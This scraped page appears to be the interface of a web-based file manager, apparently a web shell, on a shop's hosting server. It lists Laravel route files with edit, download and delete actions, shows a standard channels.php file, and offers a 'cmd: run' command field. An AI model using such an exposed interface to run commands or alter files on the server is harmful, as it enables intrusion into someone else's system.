/
home
/
sharedstore
/
public_html
/
shop.sharedstore.ma
/
api.shop.sharedstore.ma
/
routes
/
/home/sharedstore/public_html/shop.sharedstore.ma/api.shop.sharedstore.ma/routes
mkdir
upload
Name
Size
Mode
Actions
api.php
5232
0644
edit
dl
rm
channels.php
558
0664
edit
dl
rm
console.php
592
0664
edit
dl
rm
web.php
492
0664
edit
dl
rm
Edit:
/home/sharedstore/public_html/shop.sharedstore.ma/api.shop.sharedstore.ma/routes/channels.php
(558B)
<?php use Illuminate\Support\Facades\Broadcast; /* |-------------------------------------------------------------------------- | Broadcast Channels |-------------------------------------------------------------------------- | | Here you may register all of the event broadcasting channels that your | application supports. The given channel authorization callbacks are | used to check if an authenticated user can listen to the channel. | */ Broadcast::channel('App.Models.User.{id}', function ($user, $id) { return (int) $user->id === (int) $id; });
Save
cmd:
run